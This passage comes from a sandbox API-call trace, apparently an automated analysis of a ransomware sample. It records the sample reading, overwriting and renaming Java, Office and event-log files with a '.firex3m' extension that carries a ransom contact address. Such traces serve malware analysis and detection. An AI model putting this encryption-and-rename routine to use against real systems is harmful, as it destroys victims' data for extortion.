lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0091.559] GetProcessHeap () returned 0x630000 [0091.559] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7057358 [0091.560] GetProcessHeap () returned 0x630000 [0091.560] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7062788 [0091.560] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.560] ReadFile (in: hFile=0x6c0, lpBuffer=0x7057358, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7057358*, lpNumberOfBytesRead=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0098.483] GetProcessHeap () returned 0x630000 [0098.483] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8a78 [0098.483] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.483] WriteFile (in: hFile=0x6c0, lpBuffer=0x7062788*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7062788*, lpNumberOfBytesWritten=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0098.483] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.484] WriteFile (in: hFile=0x6c0, lpBuffer=0x706db87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706db87*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0098.484] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.484] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0098.484] CloseHandle (hObject=0x6c0) returned 1 [0098.486] GetProcessHeap () returned 0x630000 [0098.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7062788 | out: hHeap=0x630000) returned 1 [0098.486] GetProcessHeap () returned 0x630000 [0098.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7057358 | out: hHeap=0x630000) returned 1 [0098.487] GetProcessHeap () returned 0x630000 [0098.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8a78 | out: hHeap=0x630000) returned 1 [0098.488] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0098.488] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xa6c2e2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x12c36, dwReserved0=0xc787496, dwReserved1=0x7057350, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0098.488] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0098.488] Sleep (dwMilliseconds=0x1) [0099.934] Sleep (dwMilliseconds=0x1) [0101.184] Sleep (dwMilliseconds=0x1) [0101.920] Sleep (dwMilliseconds=0x1) [0102.319] Sleep (dwMilliseconds=0x1) [0102.523] Sleep (dwMilliseconds=0x1) [0102.775] Sleep (dwMilliseconds=0x1) [0102.987] Sleep (dwMilliseconds=0x1) [0103.134] Sleep (dwMilliseconds=0x1) [0103.272] Sleep (dwMilliseconds=0x1) [0103.546] Sleep (dwMilliseconds=0x1) [0105.074] Sleep (dwMilliseconds=0x1) [0107.371] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx", len=0x34 | out: pbstr=0x357ff7c*="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 1 [0107.371] GetProcessHeap () returned 0x630000 [0107.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b12b0 | out: hHeap=0x630000) returned 1 [0107.371] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0107.372] CloseHandle (hObject=0x714) returned 1 [0107.372] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.372] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0107.373] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0107.373] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x2001517, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI38C5~1.FIR")) returned 0x6d5480 [0107.373] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0107.373] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0107.373] GetProcessHeap () returned 0x630000 [0107.373] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72bacb0 [0107.374] GetProcessHeap () returned 0x630000 [0107.374] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72c60e0 [0107.374] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.374] ReadFile (in: hFile=0x714, lpBuffer=0x72bacb0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72bacb0*, lpNumberOfBytesRead=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0114.096] GetProcessHeap () returned 0x630000 [0114.096] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0114.096] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.096] WriteFile (in: hFile=0x714, lpBuffer=0x72c60e0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c60e0*, lpNumberOfBytesWritten=0x357ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0114.096] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.096] WriteFile (in: hFile=0x714, lpBuffer=0x72d14df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d14df*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0114.097] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.097] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0114.097] CloseHandle (hObject=0x714) returned 1 [0114.098] GetProcessHeap () returned 0x630000 [0114.098] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72c60e0 | out: hHeap=0x630000) returned 1 [0114.099] GetProcessHeap () returned 0x630000 [0114.099] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72bacb0 | out: hHeap=0x630000) returned 1 [0114.099] GetProcessHeap () returned 0x630000 [0114.099] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0114.100] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0114.100] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x9f4aeec, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xc787496, dwReserved1=0x72baca8, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI38C5~1.FIR")) returned 0x6d4f00 [0114.100] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0114.100] Sleep (dwMilliseconds=0x1) [0114.555] Sleep (dwMilliseconds=0x1) [0114.919] Sleep (dwMilliseconds=0x1) [0115.212] Sleep (dwMilliseconds=0x1) [0115.504] Sleep (dwMilliseconds=0x1) [0115.905] Sleep (dwMilliseconds=0x1) [0117.128] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe", len=0x2f | out: pbstr=0x357ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 1 [0117.128] GetProcessHeap () returned 0x630000 [0117.128] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699ca8, Size=0x20) returned 0x6e91e8 [0117.128] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0117.129] CloseHandle (hObject=0x6a8) returned 1 [0117.129] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0117.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0117.130] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmid.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RMIDEX~1.FIR")) returned 0x6d5200 [0117.130] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0117.130] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0117.130] GetProcessHeap () returned 0x630000 [0117.130] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3e61) returned 0x71f8230 [0117.131] GetProcessHeap () returned 0x630000 [0117.131] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3e61) returned 0x71fc0a0 [0117.131] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.131] ReadFile (in: hFile=0x6a8, lpBuffer=0x71f8230, nNumberOfBytesToRead=0x3e40, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f8230*, lpNumberOfBytesRead=0x357ff0c*=0x3e40, lpOverlapped=0x0) returned 1 [0118.482] GetProcessHeap () returned 0x630000 [0118.482] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0118.482] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.482] WriteFile (in: hFile=0x6a8, lpBuffer=0x71fc0a0*, nNumberOfBytesToWrite=0x3e40, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71fc0a0*, lpNumberOfBytesWritten=0x357ff0c*=0x3e40, lpOverlapped=0x0) returned 1 [0118.482] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.482] WriteFile (in: hFile=0x6a8, lpBuffer=0x71ffedf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ffedf*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.483] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.483] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.483] CloseHandle (hObject=0x6a8) returned 1 [0118.484] GetProcessHeap () returned 0x630000 [0118.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71fc0a0 | out: hHeap=0x630000) returned 1 [0118.484] GetProcessHeap () returned 0x630000 [0118.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f8230 | out: hHeap=0x630000) returned 1 [0118.484] GetProcessHeap () returned 0x630000 [0118.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0118.484] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.484] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc92dafd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3e64, dwReserved0=0xc787496, dwReserved1=0x71f8228, cFileName="rmid.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RMIDEX~1.FIR")) returned 0x6d4e40 [0118.484] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0118.484] Sleep (dwMilliseconds=0x1) [0123.245] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 1 [0123.245] GetProcessHeap () returned 0x630000 [0123.245] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1b4) returned 0x66a3e0 [0123.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0123.246] CloseHandle (hObject=0x6a8) returned 1 [0123.246] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.246] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.246] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.247] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP6389~1.FIR")) returned 0x6d4ec0 [0123.247] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0123.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0123.247] GetProcessHeap () returned 0x630000 [0123.247] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x71be9f0 [0123.247] GetProcessHeap () returned 0x630000 [0123.247] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6ff0118 [0123.247] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.247] ReadFile (in: hFile=0x6a8, lpBuffer=0x71be9f0, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71be9f0*, lpNumberOfBytesRead=0x357ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.359] GetProcessHeap () returned 0x630000 [0123.359] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feec88 [0123.360] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.360] WriteFile (in: hFile=0x6a8, lpBuffer=0x6ff0118*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff0118*, lpNumberOfBytesWritten=0x357ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.360] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.360] WriteFile (in: hFile=0x6a8, lpBuffer=0x6ff05f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff05f7*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.360] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.360] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.360] CloseHandle (hObject=0x6a8) returned 1 [0123.363] GetProcessHeap () returned 0x630000 [0123.364] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff0118 | out: hHeap=0x630000) returned 1 [0123.364] GetProcessHeap () returned 0x630000 [0123.364] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71be9f0 | out: hHeap=0x630000) returned 1 [0123.364] GetProcessHeap () returned 0x630000 [0123.364] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feec88 | out: hHeap=0x630000) returned 1 [0128.446] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.446] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf794f0e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0xc787496, dwReserved1=0x71be9e8, cFileName="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP6389~1.FIR")) returned 0x6d53c0 [0128.447] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0128.447] Sleep (dwMilliseconds=0x1) [0128.491] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc", len=0x36 | out: pbstr=0x357ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 1 [0128.491] GetProcessHeap () returned 0x630000 [0128.491] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xec) returned 0x66a3e0 [0128.491] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0128.492] CloseHandle (hObject=0x67c) returned 1 [0128.492] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.492] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-1998248312_[contact-support@elude.in].firex3m" 